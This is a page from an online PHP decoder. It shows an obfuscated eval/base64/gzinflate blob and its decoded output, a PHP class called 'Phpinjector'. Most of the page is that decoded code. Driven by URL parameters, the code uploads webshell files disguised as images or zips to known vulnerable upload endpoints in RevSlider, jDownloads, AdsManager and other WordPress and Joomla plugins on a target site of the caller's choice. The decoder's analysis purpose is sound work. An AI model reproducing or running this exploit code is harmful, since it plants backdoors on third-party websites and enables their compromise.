Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(str_rot13(gzinflate(str_rot13(base64_decode('xUrxQuJVFP4ZE/+HVlAsJkNASveUxV0wQ7I/GA+N..
Decoded Output download
error_reporting(0);
set_time_limit(0);
class Phpinjector {
public $url, $xpl,$target,$data = array();
public function __construct() {
if(isset($_GET['x'])) {
if(isset($_GET['y'])) {
$y = strtolower($_GET['y']);
switch($y) {
case "ninja":
$this->url = urldecode($_GET['x']);
$this->ninjaApp();
break;
case "cfg":
$id = (isset($_GET['id'])) ? abs((int)$_GET['id']) : 1;
$this->url = urldecode($_GET['x']);
$this->cfgContact($id);
break;
case "rev":
$this->url = urldecode($_GET['x']);
$this->revslider();
break;
case "jblog":
$this->url = urldecode($_GET['x']);
$this->jblog();
break;
case "jdl":
$this->url = urldecode($_GET['x']);
$this->jdownloads();
break;
case "ads":
$this->url = urldecode($_GET['x']);
$this->adsManager();
break;
}
}
} else {
echo "Im ready";
}
}
private function revslider() {
$action = "revslider_ajax_action";
$xpl = "revslider.zip";
$this->target = "http://".$this->url."/wp-admin/admin-ajax.php";
$this->data = array(
"action" => $action,
"client_action" => "update_plugin",
"update_file" => "@$xpl",
);
$this->execute();
}
private function jdownloads() {
$image = "ini.zip";
$pic = "ini.php.j";
$this->target = "http://".$this->url."/index.php?option=com_jdownloads&Itemid=0&view=upload";
$this->data = array(
'name' => 'khalon',
'mail' => '[email protected]',
'catlist' => '1',
'file_upload' => "@$image",
'filetitle' => "awesome file",
'description' => "<p>my awesome file</p>" ,
'2d1a8f3bd0b5cf542e9312d74fc9766f' => 1,
'send' => 1,
'senden' => "Send file",
'description' => "<p>your really need this</p>",
'option' => "com_jdownloads",
'view' => "upload",
'pic_upload' => "@$pic"
);
$this->execute();
}
private function cfgContact($id) {
$xpl = "ini.php";
$this->target = "http://".$this->url."/cfg-contactform-".$id."/inc/upload.php?folder=/cfg-contactform/upload/&fileext=php";
$this->data = array('Filedata' => "@$xpl");
$this->execute();
}
private function jblog() {
$xpl = "ini.php.xxxjpg";
$this->target = "http://".$this->url."/index.php?option=com_myblog&task=ajaxupload";
$this->data = array('fileToUpload' => "@$xpl");
$this->execute();
}
private function adsManager() {
$xpl = "ini.jpg";
$this->target = "http://".$this->url."/index.php?option=com_adsmanager&task=upload&tmpl=component";
$this->data = array( 'file' => "@$xpl",
'name' => 'parser.php'
);
$this->execute();
}
private function ninjaApp() {
$xpl = "ini.jpg";
$this->target = "http://".$this->url."/ninja-applications/fufu/controllers/uploader/upload.php";
$this->data = array( 'file' => "@$xpl",
'name' => 'parser.php'
);
$this->execute();
}
private function execute() {
$ch = curl_init ($this->target);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT,3 );
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6");
curl_setopt ($ch, CURLOPT_POST, TRUE);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $this->data);
$result = curl_exec($ch);
curl_close($ch);
print $result;
exit;
}
}
new Phpinjector();
Did this file decode correctly?
Original Code
eval(str_rot13(gzinflate(str_rot13(base64_decode('xUrxQuJVFP4ZE/+HVlAsJkNASveUxV0wQ7I/GA+NiV4uWqeZQQVpmEFuZ23xf783nSIFFdZjyRktaN733vfe995ZiyAEE4+IABMq/UylZNja3wsF9ahZhadxKqlM29/jioUhupwH0n8SnG+C/tnfKwXRR1aOyhFESEceB6pNpozMBK2WcFMZdyNTCJtHZ4zSEp9RPqcS+8jzOPZQVyJBK4dMxJJZKjKEHCpy72no/nKP7b8PZtMb26RgK5UnQAexKElrJFUR0zKIYyQpn0rKk0qfEnShQJYPUjHrPF8rlelchrULKAoiwjUWHMeimEN4DZoFuAqCyqtyVwR7Ya2w8HFJ4JAxBF8tVMZMPd8Rm4aVivTpbtGAzkRmnfcTKQL7NfYpA6WBe0aeUTzuogW4h1fG0IFaJEJGhXS70HEBNkbEdyeCGI98hUwcYXEB+y4s4P7AfDZ7K0rJ/PeSfXHXFyQUQ5rZFXyOkWiXIgDHE8vANVn/BVE+MiqWG63QFONfc8bQzvp6eR57b3DPGKwsGb2lEfwURM4vGeRnGcTUbra9Bs4pDc7raMtMiuFL9URDcGQq/W1prXYmJ5gvAuXQlTMjFwPY4W/lTKH2BcpGr64CuJLCp4vskQZNRAARhReodSZ9eM0hNyZFCQsZ/A9dYo7LQ6WSdleenxgLHkRuOvWSH3brRRfnJtdNptBgrY30pZEvWw7gKFGLchDDbLJNn5BH+rHIUfyOA83c5jj1luwHakekMmE3Dh6lGLWjQK+uEHwgt+2zR9hNEPtszhT27YJlacqkKho98sMX9ESGkIEDag6Yi2vOqJIhNS7NFZOW3jNs2bn+mUXWOohXqllTFhuJEKcgt2FbEReLkBOZCW6Q34KLZ4KK+GL14MJPUqejuMn+VY6nZHBtwpOTL1Ti7LhsFH/9kvCzr6enVhapTPQIhR+/vypl3j7c5+mhLflaY1H0/kh3gnwhb6T7knJMDI4LQastXoHpLtv52HStLhpu1NaUhhV4MeifH/K1p1Y+5/q0S47zp4YZAta4iZhgktbALON5yGzdJJ5abYLhWSXtaGsOqR913cWYttfpSlPdvgGUXrELu/4DDVcfnaj58+fdyp3xa/wUzGnfzelRsxxDFj639ZG5ehN0u8XFg5VBYqhhUIeLD6a3Uv4n1QFSdyhZhaa6A5oGV9sD7MOJ/mSx5nmw35zcixO+Y44FjITw5AJ+ezHzBrNy9N+osnzR212TLEmNBQG8EjMdPawnRBLV9VwTrJQgbj7XghT2wP8qyHuavIJlVvgcMuJDoweqQ0dMkcOEz6zw5gvDAGk+r6LrTu++e+ltvaE76Gjc3kinfzPsSJHbGwy3+dxn7++7P++710ruXbfzez7X3UF0a+26ag/D7sCtHqN6DoP+sGpoO+y4SHE94F9FKUk/ZBqo8hNzG4/CFhq0Q36POi46ZJotJPzaoN9P5PG86Zw5VIfoSfB0XD93NBuNc/ME3VUiEjyuHzun1rYELrt99/d308ibu+H9n334Rback7yzUYSRoosW6eZ2709ZrmMolnjQYp+i3C1bEXBWFwcj/PpvR/xvCMPyLw==')))));
Function Calls
| gzinflate | 1 |
| str_rot13 | 2 |
| base64_decode | 1 |
Stats
| MD5 | 1dab64975d216f0f376f228d423ed239 |
| Eval Count | 1 |
| Decode Time | 91 ms |